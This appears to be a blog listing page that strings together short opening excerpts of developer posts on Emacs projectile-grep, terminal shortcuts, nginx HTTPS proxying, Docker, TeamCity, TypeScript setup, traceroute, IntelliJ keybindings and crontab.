Along with projects management and quick switching among of them it allows you to limit grep/ack, find files and replacing commands. Here I want to note how to quickly search and replace strings in your project.
If you know basics of grep
you shouldn’t get any issues with it. Just call projectile-grep
interactive function
and type the query.
Hey.
Below I’ve listed couple of ways to use terminal that some people may not know about.
These “technics” I use a lot in may daily hacking.
So let’s start.
CTRL+R allows you to search through command history.
Here is the demo:
Hey. Imagine you have 2-3 sites where you have to setup HTTPS but you are limited to use only one SSL certificate for this.
Today we’ll find out how to do this.
I’m not going to describe how to get SSL certificate, just notice that our proxy-nginx will be configured on special domain and you have to get certificate exactly for this domain.
Add server
block inside http
block of your nginx.conf
(or in one of included files).
Hi, today I want to tell you about parts of Docker (yes, Docker it is not standalone application). In this article I’m not going describe internals of docker, its filesystem, what is container, image and how to use it. Instead you’ll learn what is docker daemon and docker client and how docker and docker-beta (at the moment of this article it still beta) works on Windows and OSX.
For one of our project we decided to use TeamCity on our Mac Mini (which is under table in the same room where we are).
It was interesting experience with some pitfalls and I would like to share how we did it. Want to mention that installation of TeamCity is not subject of this article and I’m sure you can find a lot of posts about it in the internet.
Hi, recently I discovered TypeScript. It’s very important for me to have types protection since it removes a lot of common errors/bugs from the project written in dynamically typed language.
Today I want to describe how to setup a basic TypeScript project.
First of all you need to install TypeScript.
npm install -g typescript
You need NPM of course but I don’t think it’s an issue for you. Next step is this command:
Hi, I’m sure you heard about traceroute command line tool. For me, it was pretty interesting to get to know about how it works and it would be great to implement basic functionality of it. Hope it will be interesting for you also.
Each TCP/IP packet has different information about itself. One part of it is called Time To Leave – TTL. This information is needed for nodes (routers, computers) and it allows to understand when packet has to be dropped from a network. TTL is not for fun there. It protects network from packets loop. Due to its value we have no packets that travels through the network infinitely.
Recently I switched from Emacs, which I used about two years, to IntelliJ. It was pretty hard switch since my muscle memory wasn’t happy. Thanks guys from JetBrains they have Emacs keybinding-scheme. Today I will try to describe how I configured IntelliJ to be more Emacs-like.
First of all IntelliJ interface is pretty overloaded. Emacs had only text area with status line and mini buffer. I found very nice instructions about how to do interface more minimalistic in Laracast video. It was for PHPStorm but it also work for IntelliJ.
Hi, Couple of days ago, working on my full-time project, I noticed we have a huge crontab file. We have a lot of different scripts that checks status of different records in our database or status of users or status of emails that we sent or, or, or…
A lot of our classes have different flags (“checked”, “sent”, “approved”, etc…) and its something that really hard to manage.
Crontab is very useful tool but incase you use for things it was developed.